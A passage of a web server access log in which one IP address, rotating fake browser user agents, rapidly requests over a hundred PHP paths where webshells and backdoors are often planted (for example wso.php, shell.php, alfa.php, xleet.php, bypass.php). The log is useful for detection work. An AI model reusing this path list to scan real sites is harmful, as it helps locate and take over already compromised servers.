AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:38 +0300] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:39 +0300] "GET /.well-known/save.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:39 +0300] "GET /wp-includes/feed-rsss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:39 +0300] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:40 +0300] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:40 +0300] "GET /uploads/af32.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:40 +0300] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:41 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:41 +0300] "GET /wp-fmfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:41 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:42 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:42 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:42 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:43 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:43 +0300] "GET /modules/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:43 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:04:44 +0300] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:44 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:44 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:45 +0300] "GET /wsad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:45 +0300] "GET /nation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:45 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:46 +0300] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:46 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:46 +0300] "GET /autoload_classmap/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:47 +0300] "GET /wp-atomx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:47 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:47 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:48 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:48 +0300] "GET /wp-content/plugins/ubh/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:04:48 +0300] "GET /wp-includes/SimplePie/Registry-private.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:04:49 +0300] "GET /wp-includes/assets/script-modules-packages.min-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:49 +0300] "GET /wp-includes/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:50 +0300] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:50 +0300] "GET /admin/controller/extension/extension/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:50 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:04:51 +0300] "GET /wp-admin/css/colors/modern/colors.css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:51 +0300] "GET /wp-includes/style-engine/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:51 +0300] "GET /css/media-widget-vide02.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:52 +0300] "GET /wp-includes/blocks/group/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:52 +0300] "GET /images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:52 +0300] "GET /templates/beez3/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:53 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:04:53 +0300] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:53 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:54 +0300] "GET /.well-known/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:54 +0300] "GET /wordpress/wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:55 +0300] "GET /.well-known/pki-validation/server.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:55 +0300] "GET /autoload_classmap/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:04:55 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:04:56 +0300] "GET /wp-content/plugins/ubh/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:56 +0300] "GET /wp-content/uploads/anas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:56 +0300] "GET /wp-admin/css/colors/blue/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:57 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:04:57 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:04:57 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:58 +0300] "GET /ar/wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:58 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:04:59 +0300] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:04:59 +0300] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:04:59 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:05:00 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:05:00 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:05:00 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:01 +0300] "GET /wp-includes/wp-sup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:01 +0300] "GET /wordpress/wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:01 +0300] "GET /images/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:02 +0300] "GET /wp-includes/widgets/class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:02 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:03 +0300] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:03 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:05:03 +0300] "GET /wp-admin/css/colors/blue/navi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:04 +0300] "GET /wp-includes/css/dist/require-dynamic-blocks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:04 +0300] "GET /xp.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:04 +0300] "GET /wp-content/languages/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:05 +0300] "GET /wp-content/bypass_1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:05 +0300] "GET /wp-admin/js/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:05 +0300] "GET /admin/user_data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:05:06 +0300] "GET /wp-includes/widgets/class-wp-widget-rss-database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:05:06 +0300] "GET /.well-known/pki-validation/kur.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:05:06 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:05:07 +0300] "GET /wp-includes/class-wp-customize-manager-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:07 +0300] "GET /wp-includes/assets/script-modules-packages.min-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:07 +0300] "GET /wp-admin/css/colors/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:08 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:05:08 +0300] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:08 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:09 +0300] "GET /wp-admin/maint/repairs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:09 +0300] "GET /wp-includes/images/smilies/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:05:10 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:10 +0300] "GET /wp-header.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:05:10 +0300] "GET /file.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:05:11 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:11 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:11 +0300] "GET /wp-includes/style-engine-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:12 +0300] "GET /images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:12 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:12 +0300] "GET /adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:13 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:13 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:13 +0300] "GET /wp-includes/blocks/file/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:05:14 +0300] "GET /images/habhan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.96 - - [05/Feb/2026:07:05:14 +0300] "GET /wp-content/mu-plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:14 +0300] "GET /wp-includes/IXR/class-IXR-cilent.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:15 +0300] "GET /wp-content/uploads/wp-cert.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:15 +0300] "GET /about/function.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:05:15 +0300] "GET /routes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:05:16 +0300] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:16 +0300] "GET /wp-includes/PHPMailer/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:05:16 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:05:17 +0300] "GET /f35_SpaceTn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - 